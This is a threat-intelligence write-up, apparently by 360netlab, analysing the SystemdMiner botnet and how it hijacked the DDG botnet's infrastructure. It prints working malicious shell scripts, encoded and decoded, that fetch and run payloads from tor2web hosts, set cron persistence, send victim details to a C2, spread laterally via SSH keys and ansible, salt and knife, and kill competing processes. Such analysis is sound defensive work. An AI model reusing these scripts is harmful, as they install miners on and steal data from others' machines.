SystemdMiner,when a botnet borrows another botnet’s infrastructure | xxxSystemdMiner,when a botnet borrows another botnet’s infrastructure – xxx
菜单

SystemdMiner,when a botnet borrows another botnet’s infrastructure

五月 7, 2019 - 360netlab

Update(2019.4.26 17:30)

About 3 hours after the release of this article, we found that the attacker took down the URL of some Payload downloads, the following URL has expired:

aptgetgxqs3secda.onion.ly/systemd-cron.sh aptgetgxqs3secda.onion.pet/systemd-cron.sh aptgetgxqs3secda.onion.ly/systemd-login-ddg aptgetgxqs3secda.onion.pet/systemd-login-ddg aptgetgxqs3secda.onion.ly/systemd-resolve aptgetgxqs3secda.onion.pet/systemd-resolve aptgetgxqs3secda.onion.ly/systemd.sh aptgetgxqs3secda.onion.pet/systemd.sh aptgetgxqs3secda.onion.ly/systemd-analyze aptgetgxqs3secda.onion.pet/systemd-analyze rapid7cpfqnwxodo.onion.ly/systemd-login-h rapid7cpfqnwxodo.onion.pet/systemd-login-h 

1. Overview

On Apr 11, we published a threat update on the DDG.Mining Botnet here with the following active C2:

119.9.106.27    AS45187|RACKSPACE-AP Rackspace IT Hosting AS IT Hosting Provider Hong Kong, HK|Hong Kong|China 

Then in the early morning of 2019.4.19, we found that DDG updated its configuration data and the malicious shell script i.sh from this C2. And at the end of the i.sh script, a new shell script section was added.

The new shell script downloads a new set of malicious programs, interestingly, these new programs run independently from the DDG infrastructure. And it also kills the DDG process and clears out the DDG cron configuration.

Shortly after these new malicious programs appear , the above-mentioned main DDG C2 went offline.

We named this new botnet SystemdMiner, as multiple components of this malicious programs use systemd-<XXX> as their names.

This botnet uses three means to spread itself, and after a successful compromise, a mining program based on XMRig will be downloaded for profit making.

Although the above-mentioned main DDG C2 came offline, the DDG botnet did not die. Thanks to its P2P network structure and two standby C2s, the DDG botnet is still alive, with 3000+ active P2P Nodes per day.

In the early morning of 4.25, DDG came back online with 2 new C2s and upgraded its version number to v4000. The configuration data version is CfgVer:25 . This latest update blocks the SystemdMiner’s C2 in the hosts file, and starts to use the following 2 new C2s:

109.237.25.145    AS63949|LINODE-AP Linode, LLC|United Kingdom|London --> Main C&C 104.128.230.16    AS62217|VooServers_Ltd|United States|New York 

SystemdMiner is completely different from DDG in terms of C2 infrastructure, network structure, malicious code technical details, propagation methods, cryptomining machine programs, etc.:

SystemdMiner’s main components:

The systemdMiner’s real C2 servers are set up in the dark network and are mapped to the public network through a set of services like tor2web.

The following diagram shows dns requests trends for the C2 Domains of systemdMiner from our DNSMon:

dns_trend

2. DDG’s last config data and i.sh before v4000

config data:

{CfgVer:23 Config:{Interval:60s} Miner:[{Exe:/tmp/6Tx3Wq Md5:42483ee317716f87687ddb79fedcb67b Url:/static/qW3xT.6} {Exe:/tmp/qW3xT.6 Md5:42483ee317716f87687ddb79fedcb67b Url:/static/qW3xT.6}] Cmd:{AAredis:{Id:6071 Version:3022 ShellUrl:http://119.9.106.27:8000/i.sh Duration:240h NThreads:0 IPDuration:6h GenLan:true GenAAA:false Timeout:1m Ports:[6379 6389 7379]} AAssh:{Id:2083 Version:3022 ShellUrl:http://119.9.106.27:8000/i.sh Duration:240h NThreads:0 IPDuration:12h GenLan:true GenAAA:false Timeout:1m Ports:[22 1987]} Sh:[{Id:1 Version:-1 Line:uptime Timeout:5s} {Id:707 Version:3022 Line:rm -rf /root/.ssh/authorized_keys /root/.systemd-login Timeout:600s} {Id:701 Version:3022 Line:crontab -r Timeout:600s} {Id:708 Version:3022 Line:echo -e "/n0.0.0.0 pastebin.com/n0.0.0.0 thyrsi.com/n0.0.0.0 tor2web.io/n0.0.0.0 gitee.com/n0.0.0.0 w.21-3n.xyz/n0.0.0.0 w.3ei.xyz/n0.0.0.0 aptgetgxqs3secda.onion.ly/n0.0.0.0 aptgetgxqs3secda.onion.pet/n0.0.0.0 aptgetgxqs3secda.tor2web.fyi/n0.0.0.0 aptgetgxqs3secda.onion.in.net/n0.0.0.0 rapid7cpfqnwxodo.tor2web.fyi/n0.0.0.0 rapid7cpfqnwxodo.onion.in.net/n0.0.0.0 rapid7cpfqnwxodo.onion.ly/n0.0.0.0 rapid7cpfqnwxodo.onion.pet/n" >> /etc/hosts Timeout:600s} {Id:709 Version:-1 Line:rm -f /tmp/systemd /tmp/.systemd-login /tmp/.systemd-analyze /lib/systemd/systemd-login ~/.systemd-login Timeout:600s}] Killer:[{_msgpack:{} Id:606 Version:3020 Expr:/tmp/ddgs.(3011|3012|3013|3014|3015|3016|3017|3018) Timeout:60s}] LKProc:[]}} 

And the last i.sh before ddg.v4000 :

export PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbin  echo "*/15 * * * * (curl -fsSL http://119.9.106.27:8000/i.sh||wget -q -O- http://119.9.106.27:8000/i.sh) | sh" | crontab -  echo "" > /var/spool/cron/root echo "*/15 * * * * curl -fsSL http://119.9.106.27:8000/i.sh | sh" >> /var/spool/cron/root   mkdir -p /var/spool/cron/crontabs echo "" > /var/spool/cron/crontabs/root echo "*/15 * * * * curl -fsSL http://119.9.106.27:8000/i.sh | sh" >> /var/spool/cron/crontabs/root   cd /tmp touch /usr/local/bin/writeable && cd /usr/local/bin/ touch /usr/libexec/writeable && cd /usr/libexec/ touch /usr/bin/writeable && cd /usr/bin/ rm -rf /usr/local/bin/writeable /usr/libexec/writeable /usr/bin/writeable  export PATH=$PATH:$(pwd) ps auxf | grep -v grep | grep betsbce || rm -rf betsbce if [ ! -f "betsbce" ]; then      curl -fsSL http://119.9.106.27:8000/static/3022/ddgs.$(uname -m) -o betsbce fi chmod +x betsbce $(pwd)/betsbce || /usr/bin/betsbce || /usr/libexec/betsbce || /usr/local/bin/betsbce || betsbce || ./betsbce || /tmp/betsbce  ps auxf | grep -v grep | grep betsbcb | awk '{print $2}' | xargs kill -9 ps auxf | grep -v grep | grep betsbcc | awk '{print $2}' | xargs kill -9 ps auxf | grep -v grep | grep betsbcd | awk '{print $2}' | xargs kill -9  echo ZXhlYyAmPi9kZXYvbnVsbApzZWQgLWkgJy9yYXBpZC9kJyAvZXRjL2hvc3RzCnNlZCAtaSAnL2FwdGdlL2QnIC9ldGMvaG9zdHMKCmQoKSB7CiAgICB4PS9zeXN0ZW1kLWxvZ2luLWRkZwogICAgeT0vdG1wLy5zeXN0ZW1kLWxvZ2luCiAgICB3Z2V0IC1xVS0gLS1uby1jaGVjay1jZXJ0aWZpY2F0ZSAkMSR4IC1PJHkgfHwgY3VybCAtZnNTTGtBLSAkMSR4IC1vJHkKICAgIGNobW9kICt4ICR5OyR5CiAgICBzbGVlcCA1Cn0KCmlmICEgcHMgLXAgJChjYXQgL3RtcC8uWDFNLXVuaXgpOyB0aGVuCiAgICBkIGFwdGdldGd4cXMzc2VjZGEub25pb24ubHkKZmkKaWYgISBwcyAtcCAkKGNhdCAvdG1wLy5YMU0tdW5peCk7IHRoZW4KICAgIGQgYXB0Z2V0Z3hxczNzZWNkYS5vbmlvbi5wZXQKZmkKaWYgISBwcyAtcCAkKGNhdCAvdG1wLy5YMU0tdW5peCk7IHRoZW4KICAgIGQgYXB0Z2V0Z3hxczNzZWNkYS50b3Iyd2ViLmZ5aSB8fCBkIGFwdGdldGd4cXMzc2VjZGEub25pb24uaW4ubmV0CmZpCgo=|base64 -d|bash 

Note the last Base64-encoded string in the i.sh script, which is decoded as a separate stand-alone shell script:

exec &>/dev/null sed -i '/rapid/d' /etc/hosts sed -i '/aptge/d' /etc/hosts  d() {     x=/systemd-login-ddg     y=/tmp/.systemd-login     wget -qU- --no-check-certificate $1$x -O$y || curl -fsSLkA- $1$x -o$y     chmod +x $y;$y     sleep 5 }  if ! ps -p $(cat /tmp/.X1M-unix); then     d aptgetgxqs3secda.onion.ly fi if ! ps -p $(cat /tmp/.X1M-unix); then     d aptgetgxqs3secda.onion.pet fi if ! ps -p $(cat /tmp/.X1M-unix); then     d aptgetgxqs3secda.tor2web.fyi || d aptgetgxqs3secda.onion.in.net fi  

This Shell script first checks the process ID in the /tmp/.X1M-unix , if the file does not exist or process is not running, it then attempts to download and run systemd-login-ddg through the following URLs :

aptgetgxqs3secda.onion.ly/systemd-login-ddg aptgetgxqs3secda.onion.pet/systemd-login-ddg aptgetgxqs3secda.tor2web.fyi/systemd-login-ddg aptgetgxqs3secda.onion.in.net/systemd-login-ddg 

In addition, in the i.sh script, the DDG download files in the URL hxxp://119.9.106.27:8000/static/3022/ddgs.$(uname -m) is also replaced with the following SystemdMiner’s own programs. Thus, there are 3 SystemdMiner‘s malicious programs was downloaded to DDG’s bot through this propagation:

3. SystemdMiner sample analysis

3.1 Systemd-login-ddg

systemd-login-ddg is one of the core files, the other four ddgs.i686, ddsg.x86_64, system-login, system-login-h are systemd-login-ddg variants.

All binary samples related to SystemdMiner are compiled from musl-libc . And packed with deformed UPX, the Magic Number of the deformed UPX packer is 0x7373622E (ASCII String: .bss) :

packer

After unpacking, all the binary malicious program checks LD_PRELOAD and PTRACE_TRACEME for anti-debugging and anti-sandboxing:

Then, systemd-login-ddg  deletes itself, creating the daemon process and writing the process ID into /tmp/.X1M-unix, the process name is -bash:

Next, systemd-login-ddg writes the following script into the /tmp/systemd:

#!/bin/bash exec &>/dev/null {echo,ZXhlYyAmPi9kZXYvbnVsbApleHBvcnQgUEFUSD0kUEFUSDovYmluOi9zYmluOi91c3IvYmluOi91c3Ivc2JpbjovdXNyL2xvY2FsL2JpbjovdXNyL2xvY2FsL3NiaW4Kc2xlZXAgJCgoUkFORE9NICUgNjAwKSkKKHdnZXQgLXFVLSAtTy0gLS1uby1jaGVjay1jZXJ0aWZpY2F0ZSByYXBpZDdjcGZxbnd4b2RvLnRvcjJ3ZWIuZnlpL2Nyb24uc2ggfHwgY3VybCAtZnNTTGtBLSByYXBpZDdjcGZxbnd4b2RvLnRvcjJ3ZWIuZnlpL2Nyb24uc2ggfHwgd2dldCAtcVUtIC1PLSAtLW5vLWNoZWNrLWNlcnRpZmljYXRlIHJhcGlkN2NwZnFud3hvZG8ub25pb24uaW4ubmV0L2Nyb24uc2ggfHwgY3VybCAtZnNTTGtBLSByYXBpZDdjcGZxbnd4b2RvLm9uaW9uLmluLm5ldC9jcm9uLnNoICl8YmFzaAo=}|{base64,-d}|bash 

The Base64-encoded string in the above script is decoded as follows:

exec &>/dev/null export PATH=$PATH:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin sleep $((RANDOM % 600)) (wget -qU- -O- --no-check-certificate rapid7cpfqnwxodo.tor2web.fyi/cron.sh || curl -fsSLkA- rapid7cpfqnwxodo.tor2web.fyi/cron.sh || wget -qU- -O- --no-check-certificate rapid7cpfqnwxodo.onion.in.net/cron.sh || curl -fsSLkA- rapid7cpfqnwxodo.onion.in.net/cron.sh )|bash 

If the current user is root , the sample will also check directory /lib/systemd/ , and execute the command cp -f /tmp/systemd /lib/systemd/systemd-login so it gets executed when the system starts.

Then, mv -f /tmp/systemd ~/.systemd-login , to move and hide the systemd file to the user’s home directory.

The script file used to boot and execute the above /lib/systemd/systemd-login downloads a cron.sh file from the C2 server.

cron.sh is a highly obfuscated shell script with the following contents:

"${@%4}"$'/145v'${*%%5}al "$(rK=(/& / ${*,,} l H /|${*//t5/&W} h n"${@//ar}" s /+${*##/(%} /!${!*} M${*^^} /. c 1${*##o} T 3"${@~~}" a${*~} w"${@%9Q}" g q /-${*#uo} /(${*,} /=${*##+C} /; O${*%JK} U"${@~}" 2$* /<${*%%3} y /} /:${@//_o/F} u e"${@}" r // L /{ o i k S"${@//Ao/W}" m f${@/s/`//]} v${@%0$} A $'/xa'${*/Xr/>} /$${*/&T} b t"${@^^}" P x /) X p${*/u} d />)&&for JS in 32${*#mP} 50"${@%%L}" 32${*%%b} 12${@} 1 0 55 34${@/~f/-//} 54 32 43 34${*/^/{/T} 6 31 2"${@//s/x}" 2${*,,} 45"${@,,}" 32${*%E} 50 53${*//;/]/O} 37 33 48 1 49${*~} 44 14 3 22 46 49 44 14"${@,}" 3 30 34 47${@##+H} 38${*/j/!} 6 30 34${*%Oe} 7 47 38 6${*/P/}//)s} 30${@%%DG} 34"${@%%J7}" 31$@ 7 33 34 47 38 6${*##Iq} 30 34${@} 31"${@%Z}" 7${*%G6} 33"${@}" 34 7${@^} 47 38 6${@%h} 30 34 31${@##fO} 7${*##R} 33 34 2${*~} 37"${@//q?}" 12 16 2${@//K/EH} 34 47${*//./_/}} 38 6 30 34 31 7${*^} 33$* 34"${@,}" 2${*~~} 37"${@/-/=}" 12${*~~} 16 2 34 7 47 38 6${*} 45 45 54 21 51$@ 1 36"${@##qh}" 45"${@^}" 1"${@,,}" 1${@/^z/o} 1 1 50 22${*~~} 34"${@##/`}" 7 28"${@,}" 7${@//L*/i} 48 32${*,} 41 54 20 2${@~~} 37${*#DF} 18${@//CK//`/"} 38 6 45${*#A4} 1${*~~} 1 1${*//9S/d} 1 28"${@~~}" 22 34${@^} 48${*^} 41${@^^} 53 34${*/Y/}} 7 28 7 48${*##/"<} 32${*%v} 41${*#0m} 54 45${*^^} 1 1 1 1 17 18 32 48"${@^}" 1 20${*/-G} 19 25 20 1 20"${@}" 20 6 37${*^^} 20${*##C} 12${@,} 5${*//<Y} 32 12 39${@^^} 20${*%|} 12 32 33${*~~} 48 38 42${*^} 38 12${@//#/ML} 16 48 32${*^} 1${@^^} 46 13${*~} 46 50${*/Rg} 1 20 24 46"${@,,}" 28 1 4 4${*%g8} 1$@ 12"${@%%%S}" 31"${@}" 33"${@##6^}" 2 1 20 42 7${*~~} 40 35${!*} 39 44${@//y} 20 1${*~~} 46 13 46 50${@%m} 1"${@##Zk}" 20"${@//;O}" 37 46 28 45${*%dG} 1${*##>} 1 1${*^} 1 12 5${@%%?} 41 37${*~} 54 1 8${*,} 50${*,} 1"${@%%V}" 46${*%h6} 28${*%h7} 23 46${*~} 28"${@^^}" 45 29${@//5/1} 45 45 38 42 1${*//z//(G} 9${@} 1 53 7 1${*//NU/;*} 20 53${*//My/_y} 1 46 21 27${*/?h/Y6} 1 34 48 41${!@} 53 34 11"${@//?/(/9}" 52"${@//:3}" 13${*~~} 10 20 31"${@#o}" 6${@#U} 38 50 51 23 1${*} 48${*##kx} 5${*/_/zi} 32${*} 6 45${!@} 1${@~~} 1 1${*^^} 1 54 1 16$@ 53 48${*##6} 18${*//T/q} 32 48"${@/Tc/&F}" 18${*/Y} 50 19 7${!@} 15${@^} 7 32${*~} 12 54 16 11${*%%&W} 37${*//2//}#} 6${*///}^/F} 38 37 6${!@} 11 38${*,} 6${*,,} 11 6${*/NM/F} 32 48 1"${@##r}" 4 4${*^^} 1${*#3} 54${@^^} 1"${@}" 16 53 48 18 32${@//}/}} 48 18"${@^}" 50"${@^}" 19${@##d%} 7${!@} 15 7"${@}" 32${*/ve} 12${!*} 54${@^} 16 11 37 6${*^^} 38 37 6 11${*%s} 7 5 1 4"${@%77}" 4 1 54${@} 1${@/Rm} 16${!*} 53${*%36} 48${*^} 18"${@~}" 32${*//,/P} 48 18 50${@##@} 19"${@%b}" 7 15 7 32${*^^} 12 54 16 11${*^^} 48 37"${@//Ca}" 33"${@~~}" 26${*//5} 17 32${@//So} 47 11 42${*~} 28 38"${@^^}" 1 4 4${*,} 1 54 1${@//k?} 16${@///} 53 48 18$@ 32${@#//} 48 18${@/9} 50 19 7${*#/`c} 15 7 32 12${*^} 54${@%/]} 16 11 48 37"${@#V6}" 33"${@^^}" 26${*%%T} 17${*^^} 32 47${@/f7/p} 11${*#+H} 38${*,} 37${*%%wo} 45${*/<} 42 38 45"${@~~}";do pr${*//<}i$'/x6e'/tf %s "${rK[$JS]}""${@/#}";done;)" 

The real content after de-obfuscation:

exec &>/dev/null export PATH=$PATH:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin  d() {     x=/systemd-login     y=/tmp/systemd     wget -qU- --no-check-certificate $1$x -O$y || curl -fsSLkA- $1$x -o$y     chmod +x $y;$y }  if ! ps -p $(< /tmp/.X1M-unix); then     d aptgetgxqs3secda.onion.in.net || d aptgetgxqs3secda.onion.sh || d aptgetgxqs3secda.tor2web.fyi || d aptgetgxqs3secda.tor2web.io fi 

Finally, systemd-login-ddg continues to execute a series of Base64-encoded shell scripts.

3.1.1 Shell Script 1: Report to C2 and use automated operation and maintenance tools to spread

The original script is Base64 encoded and decoded as follows:

exec &>/dev/null export PATH=$PATH:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin  xssh() {     ssh -oBatchMode=yes -oConnectTimeout=5 -oPasswordAuthentication=no -oPubkeyAuthentication=yes -oStrictHostKeyChecking=no $1@$2 'echo ZXhlYyAmPi9kZXYvbnVsbApleHBvcnQgUEFUSD0kUEFUSDovYmluOi9zYmluOi91c3IvYmluOi91c3Ivc2JpbjovdXNyL2xvY2FsL2JpbjovdXNyL2xvY2FsL3NiaW4KCmMoKSB7CiAgICB4PS9zeXN0ZW1kLWxvZ2luCiAgICB5PS90bXAvLnN5c3RlbWQtbG9naW4KICAgIHdnZXQgLXFVLSAtLW5vLWNoZWNrLWNlcnRpZmljYXRlICQxJHggLU8keSB8fCBjdXJsIC1mc1NMa0EtICQxJHggLW8keQogICAgY2htb2QgK3ggJHk7JHkKICAgIHNsZWVwIDQKfQoKaWYgISBwcyAtcCAkKGNhdCAvdG1wLy5YMU0tdW5peCk7IHRoZW4KICAgIGMgcmFwaWQ3Y3BmcW53eG9kby50b3Iyd2ViLmZ5aSB8fCBjIHJhcGlkN2NwZnFud3hvZG8ub25pb24uaW4ubmV0CmZpCg==|base64 -d|bash' }  s1() {     x=/slave     y=($(whoami)_$(uname -m)_$(uname -n)_$(crontab -l|base64 -w0))     wget -qU- -O- --no-check-certificate --referer=$y $1$x || curl -fsSLkA- -e$y $1$x }  s2() {     x=/systemd-resolve     y=/tmp/systemd-resolve     wget -qU- --no-check-certificate $1$x -O$y || curl -fsSLkA- $1$x -o$y     chmod +x $y;$y }  s3() {     if [ -x $(command -v ansible) ]; then         ansible all -m shell -a 'echo ZXhlYyAmPi9kZXYvbnVsbApleHBvcnQgUEFUSD0kUEFUSDovYmluOi9zYmluOi91c3IvYmluOi91c3Ivc2JpbjovdXNyL2xvY2FsL2JpbjovdXNyL2xvY2FsL3NiaW4KCmMoKSB7CiAgICB4PS9zeXN0ZW1kLWxvZ2luCiAgICB5PS90bXAvLnN5c3RlbWQtbG9naW4KICAgIHdnZXQgLXFVLSAtLW5vLWNoZWNrLWNlcnRpZmljYXRlICQxJHggLU8keSB8fCBjdXJsIC1mc1NMa0EtICQxJHggLW8keQogICAgY2htb2QgK3ggJHk7JHkKICAgIHNsZWVwIDQKfQoKaWYgISBwcyAtcCAkKGNhdCAvdG1wLy5YMU0tdW5peCk7IHRoZW4KICAgIGMgcmFwaWQ3Y3BmcW53eG9kby50b3Iyd2ViLmZ5aSB8fCBjIHJhcGlkN2NwZnFud3hvZG8ub25pb24uaW4ubmV0CmZpCg==|base64 -d|bash'     fi     if [ -x $(command -v salt) ]; then         salt '*' cmd.run 'echo ZXhlYyAmPi9kZXYvbnVsbApleHBvcnQgUEFUSD0kUEFUSDovYmluOi9zYmluOi91c3IvYmluOi91c3Ivc2JpbjovdXNyL2xvY2FsL2JpbjovdXNyL2xvY2FsL3NiaW4KCmMoKSB7CiAgICB4PS9zeXN0ZW1kLWxvZ2luCiAgICB5PS90bXAvLnN5c3RlbWQtbG9naW4KICAgIHdnZXQgLXFVLSAtLW5vLWNoZWNrLWNlcnRpZmljYXRlICQxJHggLU8keSB8fCBjdXJsIC1mc1NMa0EtICQxJHggLW8keQogICAgY2htb2QgK3ggJHk7JHkKICAgIHNsZWVwIDQKfQoKaWYgISBwcyAtcCAkKGNhdCAvdG1wLy5YMU0tdW5peCk7IHRoZW4KICAgIGMgcmFwaWQ3Y3BmcW53eG9kby50b3Iyd2ViLmZ5aSB8fCBjIHJhcGlkN2NwZnFud3hvZG8ub25pb24uaW4ubmV0CmZpCg==|base64 -d|bash'     fi     if [ -x $(command -v knife) ]; then         knife ssh 'name:*' 'echo ZXhlYyAmPi9kZXYvbnVsbApleHBvcnQgUEFUSD0kUEFUSDovYmluOi9zYmluOi91c3IvYmluOi91c3Ivc2JpbjovdXNyL2xvY2FsL2JpbjovdXNyL2xvY2FsL3NiaW4KCmMoKSB7CiAgICB4PS9zeXN0ZW1kLWxvZ2luCiAgICB5PS90bXAvLnN5c3RlbWQtbG9naW4KICAgIHdnZXQgLXFVLSAtLW5vLWNoZWNrLWNlcnRpZmljYXRlICQxJHggLU8keSB8fCBjdXJsIC1mc1NMa0EtICQxJHggLW8keQogICAgY2htb2QgK3ggJHk7JHkKICAgIHNsZWVwIDQKfQoKaWYgISBwcyAtcCAkKGNhdCAvdG1wLy5YMU0tdW5peCk7IHRoZW4KICAgIGMgcmFwaWQ3Y3BmcW53eG9kby50b3Iyd2ViLmZ5aSB8fCBjIHJhcGlkN2NwZnFud3hvZG8ub25pb24uaW4ubmV0CmZpCg==|base64 -d|bash'     fi     if [ -f $HOME/.ssh/id_rsa ] || [ -f $HOME/.ssh/id_dsa ] || [ -f $HOME/.ssh/id_ecdsa ] || [ -f $HOME/.ssh/id_ed25519 ]; then         hosts=$(grep -oE "/b([0-9]{1,3}/.){3}[0-9]{1,3}/b" ~/.bash_history /etc/hosts ~/.ssh/known_hosts |awk -F: {'print $2'}|sort|uniq ;awk {'print $1'} $HOME/.ssh/known_hosts|sort|uniq|grep -v =|sort|uniq)         for h in $hosts;do xssh root $h; xssh $USER $h & done     fi }  s1 rapid7cpfqnwxodo.tor2web.fyi s2 rapid7cpfqnwxodo.tor2web.fyi || s2 rapid7cpfqnwxodo.onion.in.net s3 

The script has three key functions, which are:

  1. S1() : Report compromised host information to rapid7cpfqnwxodo.tor2web.fyi/slave. To send back the current user name, CPU architecture, host name, and current user’s cron table. After Base64 encoding, set these host information as the http-referer vaule and sent as an HTTP GET requests to C2;
  2. S2() : Download the systemd-resolve file from C2 and execute it. System-resolve integrates the Exp of YARN’s unauthorized access vulnerability;
  3. S3() : Horizontal propagation using 3 *nix automated operation and maintenance tools (ansible/salt/chef-knife) and local SSH keys.

3.1.2 Shell Script 2: Setting up a cron task

The shell script used for horizontal propagation is also Base64 encoded and decoded as follows:

exec &>/dev/null export PATH=$PATH:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin  c() {     if [ -x $(command -v crontab) ]; then         if [ $(crontab -l |grep REDIS00) ]; then             crontab -r         fi         if ((!EUID)); then             if [ ! -f "/etc/cron.d/systemd" ]; then                 echo "0 * * * * root /lib/systemd/systemd-login" > /etc/cron.d/systemd             fi             if [ ! $(crontab -l |grep systemd-login) ]; then                 (echo "0 * * * * ~/.systemd-login";crontab -l |sed '/wget/d'|sed '/curl/d')|crontab -             fi         else             if [ ! $(crontab -l |grep systemd-login) ]; then                 (echo "0 * * * * ~/.systemd-login";crontab -l |sed '/wget/d'|sed '/curl/d')|crontab -             fi         fi     fi }  c 

The main function of the script is to setup a new cron file /etc/cron.d/system to run /lib/systemd/systemd-login , the outcome of systemd-login-ddg. The wget and curl commands in the current user cron table are cleared to kill competitors’ scheduled tasks.

3.1.3 Shell Script 3: Killing Competitors

The original script is also Base64 encoded and decoded as follows:

exec &>/dev/null export PATH=$PATH:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin  pkill -9 -f "8220|aegis_|AliYunDun|AliHids|AliYunDunUpdate|aliyun-service|cr.sh|cryptonight|ddgs|fs-manager|hashfish|hwlh3wlh44lh|java-c|kerberods|kworkerds|kpsmouseds|kthrotlds|mewrs|miner|mr.sh|muhsti|mygit|orgfs|qW3xT|qwefdas|stratum|sustes|t00ls|thisxxs|/tmp/ddgs|/tmp/java|/tmp/udevs|/tmp/yarn|/usr/bin/netfs|watchbog|wipefs|wnTKYg|xig|xmr|zer0"  find ~/.ddg/*|xargs fuser -k;rm -rf ~/.ddg find /etc/cron*|xargs chattr -i find /var/spool/cron*|xargs chattr -i grep -RE "(wget|curl)" /etc/cron.*|cut -f 1 -d :|xargs rm -f grep -RE "(wget|curl)" /var/spool/cron*|cut -f 1 -d :|xargs sed -i '/wget/|curl/d' rm -f /usr/sbin/aliyun* /usr/local/aegis* /usr/local/qcloud* /usr/local/bin/dns ~/.wget-hsts 

The function of this script is to remove various competitors.

3.1.4 Shell Script 4: Download and execute the cryptominer

The original script is Base64 encoded and decoded as follows:

exec &>/dev/null export PATH=$PATH:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin  d() {     x=/systemd-analyze     y=/tmp/.systemd-analyze     wget -qU- --no-check-certificate $1$x -O$y || curl -fsSLkA- $1$x -o$y     chmod +x $y;$y     sleep 6 }  if ! ps -p $(cat /tmp/.X11-lock); then     d rapid7cpfqnwxodo.tor2web.fyi || d rapid7cpfqnwxodo.onion.in.net fi 

To download and execute system-analyze from rapid7cpfqnwxodo.tor2web.fyi or rapid7cpfqnwxodo.tor2web . systemd-analyze is a mining program based on XMRig.

3.1.5 Shell Script 5: Update Samples and Malicious Shell Scripts

The original script is Base64 encoded and decoded as follows:

exec &>/dev/null export PATH=$PATH:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin  d() {     x=/systemd-login     y=/tmp/.systemd-login     wget -qU- --no-check-certificate $1$x -O$y || curl -fsSLkA- $1$x -o$y     chmod +x $y;$y     sleep 5 }  u() {     x=/systemd.sh     (wget -qU- -O- --no-check-certificate $1$x || curl -fsSLkA- $1$x)|bash }   if [ -f /tmp/.systemd-update ]; then     kill -9 $(cat /tmp/.X1M-unix) && rm -f /tmp/.X1M-unix;rm -f /tmp/.systemd-update     d rapid7cpfqnwxodo.onion.in.net || d rapid7cpfqnwxodo.tor2web.fyi fi  u rapid7cpfqnwxodo.onion.in.net || u rapid7cpfqnwxodo.tor2web.fyi 

systemd-login-ddg uses this script to check the sample update flag file /tmp/.systemd-updateand and download the latest systemd-login sample accordingly. The latest malicious shell script, systemd.sh is then downloaded and executed.

Next, systemd-login-ddg executes the sixth shell script. The sixth shell script is basically the same as the fifth one, except that there is one more C2 Domain to download the systemd-login sample: rapid7cpfqnwxodo.tor2web.io.

3.2 Systemd-resolve

As mentioned earlier, systemd-resolve integrates YARN’s unauthorized access vulnerability to spred to other hosts horizontally. It is very similar to systemd-login-ddg , except that its daemon is named -rbash .

The sample is mainly used for internal network propagation targeting 172.16.0.0/12, 192.168.0.0/16 and 10.0.0.0/8. The sample first checks the LAN_IP of the current host, whether it belongs to the above three intranet segments:

If the current host’s LAN_IP belongs to the above three network segments, the sample checks the 8088 ports of each host on the network:

scan_yarn_pcap

For the right target host, to use the following Payload to propagate itself:

yarn_exp

The shell script in Payload is also Base64 encoded and decoded as follows:

exec &>/dev/null export PATH=$PATH:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin  d() {     x=/systemd-login-h     y=/tmp/systemd     wget -qU- --no-check-certificate $1$x -O$y || curl -fsSLkA- $1$x -o$y     chmod +x $y;$y }  if ! ps -p $(< /tmp/.X1M-unix); then     d aptgetgxqs3secda.tor2web.fyi || d aptgetgxqs3secda.onion.in.net || d aptgetgxqs3secda.onion.sh || d aptgetgxqs3secda.tor2web.io fi 

We can see that systemd-login-h will be downloaded and executed. This systemd-login-h function is the same as the systemd-login-ddg analyzed above.

3.3 Systemd.sh

As mentioned earlier, systemd-login-ddg downloads systemd.sh and executes it in the fifth shell script. In the early days of our analysis of the SystemdMiner family, this systemd.sh script had no substantive content:

exec &>/dev/null export PATH=$PATH:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin 

At around noon at 2019.4.23, the attacker officially put the systemd.sh online, the latest systemd.sh content:

exec &>/dev/null export PATH=$PATH:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin d() {     x=/systemd-analyze     y=/tmp/.systemd-analyze     wget -qU- --no-check-certificate $1$x -O$y || curl -fsSLkA- $1$x -o$y     chmod +x $y;$y     sleep 6 }  if ! ps -p $(cat /tmp/.X11-lock); then     d rapid7cpfqnwxodo.d2web.org fi 

Thus its purpose is to download systemd-analyze and execute it.

3.4 Systemd-analyze

As mentioned above, SystemdMiner’s current profit method is cryptomining, and the cryptominer program that ultimately undertakes this task is this systemd-analyze. The program also has the same methods of anti-analysis as SystemdMiner’s other binaries, except that it names its own process as a 6-bytes random string of uppercase and lowercase letters and numbers. XMRig related string in the miner program:

xmrig_str

The cryptomining pool (Or Proxy) is under the attacker’s own control. The mining account, password and Or Proxy used are as follows:

miner_conf

The corresponding IPs belongs to normal company or organization, most likey hacked hosts.

DomainDNS Recorde TypeIPRemark
pol-ice.ruA5.167.55.128An Ice-cream firm in Ruassia
ecosustain.infoA136.243.90.99A project from European Regional Development Fund

4. IoCs

Domains

aptgetgxqs3secda.onion.ly aptgetgxqs3secda.onion.pet aptgetgxqs3secda.tor2web.fyi aptgetgxqs3secda.onion.in.net aptgetgxqs3secda.onion.mn aptgetgxqs3secda.d2web.org rapid7cpfqnwxodo.tor2web.fyi rapid7cpfqnwxodo.onion.in.net rapid7cpfqnwxodo.onion.ly rapid7cpfqnwxodo.onion.pet rapid7cpfqnwxodo.onion.mn rapid7cpfqnwxodo.d2web.org 

Md5:

